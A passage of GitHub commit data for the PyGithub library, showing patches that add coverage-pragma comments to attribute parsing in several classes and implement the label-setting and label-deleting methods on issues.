attributes[ \"tagger\" ] is not None:\n+ if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tagger\" ], dict )\n self.__tagger = GitAuthor.GitAuthor( self.__requester, attributes[ \"tagger\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTree.py","filename":"src/github/GitTree.py","patch":"@@ -33,15 +33,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], list ) and ( len( attributes[ \"tree\" ] ) == 0 or isinstance( attributes[ \"tree\" ][ 0 ], dict ) )\n self.__tree = [\n GitTreeElement.GitTreeElement( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"tree\" ]\n ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTreeElement.py","filename":"src/github/GitTreeElement.py","patch":"@@ -47,21 +47,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"mode\", \"path\", \"sha\", \"size\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"mode\" in attributes and attributes[ \"mode\" ] is not None:\n+ if \"mode\" in attributes and attributes[ \"mode\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mode\" ], str )\n self.__mode = attributes[ \"mode\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Hook.py","filename":"src/github/Hook.py","patch":"@@ -99,21 +99,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"active\", \"config\", \"created_at\", \"events\", \"id\", \"last_response\", \"name\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"active\" in attributes and attributes[ \"active\" ] is not None:\n+ if \"active\" in attributes and attributes[ \"active\" ] is not None: # pragma no branch\n self.__active = attributes[ \"active\" ]\n- if \"config\" in attributes and attributes[ \"config\" ] is not None:\n+ if \"config\" in attributes and attributes[ \"config\" ] is not None: # pragma no branch\n self.__config = attributes[ \"config\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"events\" in attributes and attributes[ \"events\" ] is not None:\n+ if \"events\" in attributes and attributes[ \"events\" ] is not None: # pragma no branch\n self.__events = attributes[ \"events\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None:\n+ if \"last_response\" in attributes and attributes[ \"last_response\" ] is not None: # pragma no branch\n self.__last_response = attributes[ \"last_response\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":53,"deletions":21,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Issue.py","filename":"src/github/Issue.py","patch":"@@ -110,7 +110,7 @@ def user( self ):\n return self.__user\n \n def add_to_labels( self, *labels ):\n- post_parameters = labels\n+ post_parameters = [ label.name for label in labels ]\n status, headers, data = self.__requester.request(\n \"POST\",\n str( self.url ) + \"/labels\",\n@@ -131,7 +131,12 @@ def create_comment( self, body ):\n return IssueComment.IssueComment( self.__requester, data, completion = NoCompletion )\n \n def delete_labels( self ):\n- pass\n+ status, headers, data = self.__requester.request(\n+ \"DELETE\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ None\n+ )\n \n def edit( self, title = DefaultValueForOptionalParameters, body = DefaultValueForOptionalParameters, assignee = DefaultValueForOptionalParameters, state = DefaultValueForOptionalParameters, milestone = DefaultValueForOptionalParameters, labels = DefaultValueForOptionalParameters ):\n post_parameters = {\n@@ -216,7 +221,13 @@ def remove_from_labels( self, label ):\n )\n \n def set_labels( self, *labels ):\n- pass\n+ post_parameters = [ label.name for label in labels ]\n+ status, headers, data = self.__requester.request(\n+ \"PUT\",\n+ str( self.url ) + \"/labels\",\n+ None,\n+ post_parameters\n+ )\n \n def __initAttributes( self ):\n self.__assignee = None\n@@ -257,59 +268,59 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"assignee\", \"body\", \"closed_at\", \"closed_by\", \"comments\", \"created_at\", \"html_url\", \"id\", \"labels\", \"milestone\", \"number\", \"pull_request\", \"repository\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None:\n+ if \"assignee\" in attributes and attributes[ \"assignee\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"assignee\" ], dict )\n self.__assignee = NamedUser.NamedUser( self.__requester, attributes[ \"assignee\" ], completion = LazyCompletion )\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_at\" ], str )\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None:\n+ if \"closed_by\" in attributes and attributes[ \"closed_by\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_by\" ], dict )\n self.__closed_by = NamedUser.NamedUser( self.__requester, attributes[ \"closed_by\" ], completion = LazyCompletion )\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"labels\" in attributes and attributes[ \"labels\" ] is not None:\n+ if \"labels\" in attributes and attributes[ \"labels\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"labels\" ], list ) and ( len( attributes[ \"labels\" ] ) == 0 or isinstance( attributes[ \"labels\" ][ 0 ], dict ) )\n self.__labels = [\n Label.Label( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"labels\" ]\n ]\n- if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None:\n+ if \"milestone\" in attributes and attributes[ \"milestone\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"milestone\" ], dict )\n self.__milestone = Milestone.Milestone( self.__requester, attributes[ \"milestone\" ], completion = LazyCompletion )\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None:\n+ if \"pull_request\" in attributes and attributes[ \"pull_request\" ] is not None: # pragma no branch\n self.__pull_request = attributes[ \"pull_request\" ]\n- if \"repository\" in attributes and attributes[ \"repository\" ] is not None:\n+ if \"repository\" in attributes and attributes[ \"repository\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repository\" ], dict )\n self.__repository = Repository.Repository( self.__requester, attributes[ \"repository\" ], completion = LazyCompletion )\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":32,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueComment.py","filename":"src/github/IssueComment.py","patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/IssueEvent.py","filename":"src/github/IssueEvent.py","patch":"@@ -78,24 +78,24 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"commit_id\", \"created_at\", \"event\", \"id\", \"issue\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"event\" in attributes and attributes[ \"event\" ] is not None:\n+ if \"event\" in attributes and attributes[ \"event\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"event\" ], str )\n self.__event = attributes[ \"event\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"issue\" in attributes and attributes[ \"issue\" ] is not None:\n+ if \"issue\" in attributes and attributes[ \"issue\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"issue\" ], dict )\n self.__issue = Issue.Issue( self.__requester, attributes[ \"issue\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":13,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Label.py","filename":"src/github/Label.py","patch":"@@ -1,6 +1,8 @@\n # WARNING: this file is generated automaticaly.\n # Do not modify it manually, your work would be lost.\n \n+import urllib\n+\n import PaginatedList\n from GithubObject import *\n \n@@ -43,6 +45,11 @@ def edit( self, name, color ):\n )\n self.__useAttributes( data )\n \n+ # @toto Remove '_identity' from the normalized json description\n+ @property\n+ def _identity( self ):\n+ return urllib.quote( self.name )\n+\n def __initAttributes( self ):\n self.__color = None\n self.__name = None\n@@ -53,9 +60,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"color\", \"name\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"color\" in attributes and attributes[ \"color\" ] is not None:\n+ if \"color\" in attributes and attributes[ \"color\" ] is not None: # pragma no branch\n self.__color = attributes[ \"color\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":10,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":22,"deletions":11,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Milestone.py","filename":"src/github/Milestone.py","patch":"@@ -114,36 +114,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"closed_issues\", \"created_at\", \"creator\", \"description\", \"due_on\", \"id\", \"number\", \"open_issues\", \"state\", \"title\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None:\n+ if \"closed_issues\" in attributes and attributes[ \"closed_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"closed_issues\" ], int )\n self.__closed_issues = attributes[ \"closed_issues\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"creator\" in attributes and attributes[ \"creator\" ] is not None:\n+ if \"creator\" in attributes and attributes[ \"creator\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"creator\" ], dict )\n self.__creator = NamedUser.NamedUser( self.__requester, attributes[ \"creator\" ], completion = LazyCompletion )\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None:\n+ if \"due_on\" in attributes and attributes[ \"due_on\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"due_on\" ], str )\n self.__due_on = attributes[ \"due_on\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"number\" ], int )\n self.__number = attributes[ \"number\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"state\" ], str )\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"title\" ], str )\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":52,"deletions":26,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/NamedUser.py","filename":"src/github/NamedUser.py","patch":"@@ -365,81 +365,81 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"contributions\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None:\n+ if \"contributions\" in attributes and attributes[ \"contributions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"contributions\" ], int )\n self.__contributions = attributes[ \"contributions\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" 